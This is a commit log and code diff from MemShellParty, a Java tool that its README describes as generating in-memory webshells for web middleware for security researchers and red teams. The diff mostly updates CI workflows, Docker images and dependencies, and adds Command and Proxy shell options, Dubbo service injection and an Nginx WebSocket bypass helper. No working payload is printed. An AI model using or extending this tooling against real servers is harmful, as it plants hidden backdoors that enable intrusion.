ReaJason 272188a83d fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason 957566f847 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 4f1f4f2c1a test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason eb994b7ad4 feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason a06eb2f869 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason 184bd1e9ad test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason c192954cfa docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason cc5a8e726a ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason 37a7683518 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 0961070822 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason 8a437dbe03 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason a42b2bd38c test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason d37b0a1929 feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason 2501e56a6e test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 1b9c88e800 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason e891e9999f ci: rename 2024-11-24 04:52:26 +08:00
ReaJason b31db5c1ac feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 033bc2b9a5 ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 9a1e31d660 MIT license 2024-11-24 04:45:10 +08:00
ReaJason c085607be8 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason 3402d50369 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason d9922401bd Initial commit 2024-09-01 13:17:19 +08:00
625 changed files with 24929 additions and 25605 deletions
+24 -15
View File
@@ -12,18 +12,21 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -39,10 +42,16 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
@@ -53,28 +62,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v8
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -86,15 +95,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Build Docker image - name: Build Docker image
run: | run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app . docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push name: Docker Push
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -50,20 +50,20 @@ jobs:
depend_tasks: "" depend_tasks: ""
- middleware: "struct2" - middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
+5 -5
View File
@@ -44,20 +44,20 @@ jobs:
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2" - middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-latest runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v6
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+15 -15
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -156,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle - name: Generator Unit Test with Gradle
run: ./gradlew :generator:test run: ./gradlew :generator:test
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+3 -3
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.15_6-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+4 -4
View File
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center"> <p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%"> <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%"> <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%"> <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%"> <img src="assets/about_page.png" alt="about_page" width="24%">
</p> </p>
## 主要特性 ## 主要特性

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Before

Width:  |  Height:  |  Size: 136 KiB

After

Width:  |  Height:  |  Size: 136 KiB

Before

Width:  |  Height:  |  Size: 236 KiB

After

Width:  |  Height:  |  Size: 236 KiB

@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py . COPY neoreg.py .

Before

Width:  |  Height:  |  Size: 268 KiB

After

Width:  |  Height:  |  Size: 268 KiB

+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+3 -1
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.7" id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,6 +21,8 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse; import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource; import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils; import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
@@ -34,23 +35,18 @@ public class ViewController {
return renderFileData(relativePath, response); return renderFileData(relativePath, response);
} }
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**") @GetMapping("/ui/**")
public String handleHtmlView(HttpServletRequest request) { @SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) { if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String viewPath = fullPath.substring(4); String docPath = fullPath.substring(4);
return viewPath + "/index"; if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
} }
private String renderFileData(String relativePath, HttpServletResponse response) { private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -61,8 +57,6 @@ public class ViewController {
response.setStatus(HttpServletResponse.SC_NOT_FOUND); response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath; return "File not found: " + relativePath;
} }
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader( InputStreamReader reader = new InputStreamReader(
resource.getInputStream(), resource.getInputStream(),
StandardCharsets.UTF_8 StandardCharsets.UTF_8
@@ -51,6 +51,8 @@ public class MemShellGenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate()) .template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -75,6 +77,10 @@ public class MemShellGenerateRequest {
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.build(); .build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.entity; package com.reajason.javaweb.boot.entity;
import lombok.Data;
import lombok.Builder; import lombok.Builder;
import lombok.Data;
/** /**
* @author ReaJason * @author ReaJason
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
* @author ReaJason * @author ReaJason
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(true) publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+7 -1
View File
@@ -9,10 +9,16 @@ idea {
} }
} }
version = "2.4.0" version = "2.7.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
} }
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png) ![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png) ![agent_generator](../assets/agent_generator.png)
## Key Features ## Key Features
+9 -5
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java") id("java-library")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,17 +29,21 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
implementation(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -21,4 +21,5 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2"; public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
} }
@@ -1,10 +1,13 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod; import com.reajason.javaweb.probe.ProbeMethod;
@@ -14,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -59,6 +63,27 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); injectorConfig.setShellClassBytes(shellBytes);
@@ -67,7 +92,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder() ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1") .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody) .probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode) .probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion()) .targetJreVersion(shellConfig.getTargetJreVersion())
